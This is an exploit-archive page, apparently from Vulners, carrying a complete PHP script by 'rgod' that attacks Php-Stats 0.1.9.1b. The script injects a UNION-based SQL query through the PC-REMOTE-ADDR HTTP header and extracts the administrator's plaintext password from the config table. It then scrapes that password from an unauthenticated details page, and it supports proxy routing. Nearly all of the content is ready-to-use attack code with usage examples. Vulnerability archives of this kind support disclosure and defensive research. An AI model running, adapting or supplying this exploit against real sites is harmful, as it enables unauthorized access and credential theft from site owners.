Lucene search
K

Php-Stats <= 0.1.9.1b (PC-REMOTE-ADDR) SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

Php-Stats version 0.1.9.1b PC-REMOTE-ADDR SQL Injection Exploit. Usage: php {host} {path} OPTION

Code

                                                &#60;?php
print_r(&#39;
---------------------------------------------------------------------------
Php-Stats &#60;= 0.1.9.1b PC-REMOTE-ADDR sql injection / cleat text admin pass
disclosure
by rgod
mail: retrog at alice dot it
site: http://retrogod.altervista.org
---------------------------------------------------------------------------
&#39;);

if ($argc&#60;3) {
    print_r(&#39;
---------------------------------------------------------------------------
Usage: php &#39;.$argv[0].&#39; host path OPTIONS
host:      target server (ip/hostname)
path:      path to phpstats
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php &#39;.$argv[0].&#39; localhost /stats/ -P1.1.1.1:80
php &#39;.$argv[0].&#39; localhost /php-stats/stats/ -p81
---------------------------------------------------------------------------
&#39;);
    die;
}

error_reporting(7);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;

function send($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    $parts[1]=(int)$parts[1];
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy=&#34;&#34;;
for ($i=3; $i&#60;$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp==&#34;-p&#34;)
{
  $port=(int)str_replace(&#34;-p&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-P&#34;)
{
  $proxy=str_replace(&#34;-P&#34;,&#34;&#34;,$argv[$i]);
}
}
if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}

function my_enc($my_string)
{
  $encoded=&#34;CHAR(&#34;;
  for ($k=0; $k&#60;=strlen($my_string)-1; $k++)
  {
    $encoded.=ord($my_string[$k]);
    if ($k==strlen($my_string)-1) {$encoded.=&#34;)&#34;;}
    else {$encoded.=&#34;,&#34;;}
  }
  return $encoded;
}
/*
vulnerable code, php-stats.recphp.php, line 41:
...
if(isset($_SERVER[&#39;REMOTE_ADDR&#39;])) $ip=(isset($_SERVER[&#39;HTTP_PC_REMOTE_ADDR&#39;]) ? $_SERVER[&#39;HTTP_PC_REMOTE_ADDR&#39;] : $_SERVER[&#39;REMOTE_ADDR&#39;]);
...

vulnerable query, line 146:

...
$result=$php_stats_rec-&#62;php_stats_sql_query(&#34;SELECT data,lastpage,user_id,visitor_id,reso,colo,os,bw,giorno,level FROM $option[prefix]_cache WHERE user_id=&#39;$ip&#39; LIMIT 1&#34;);
...

oh, this is unpatched in php-stats.recphp.php... tze tze
you can never never trust http headers!

*/

$SQL=&#34;1.1.1.999&#39;/**/UNION/**/SELECT/**/null,null,CONCAT(&#34;.my_enc(&#34;&#60;!--&#34;).&#34;,value,&#34;.my_enc(&#34;--&#62;&#34;).&#34;),null,null,null,null,null,null,null/**/FROM/**/php_stats_config/**/WHERE/**/name=&#39;admin_pass&#39;/*&#34;;
$packet =&#34;GET &#34;.$p.&#34;php-stats.recphp.php HTTP/1.0\r\n&#34;;
$packet.=&#34;PC-REMOTE-ADDR: $SQL\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/5.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
send($packet);

//see visitor details page for results, pass is obfuscated inside html, under the last visitor IP field
//this action can be normally performed without to be logged in

$packet =&#34;GET &#34;.$p.&#34;admin.php?action=details HTTP/1.0\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/5.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
send($packet);
$t=explode(&#34;whois.php?IP=&#60;!--&#34;,$html);
$t2=explode(&#34;--&#62;&#34;,$t[1]);
$pass=$t2[0];
echo &#34;admin pass -&#62; &#34;.$pass.&#34;\n&#34;;

?&#62;

# milw0rm.com [2007-03-16]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
18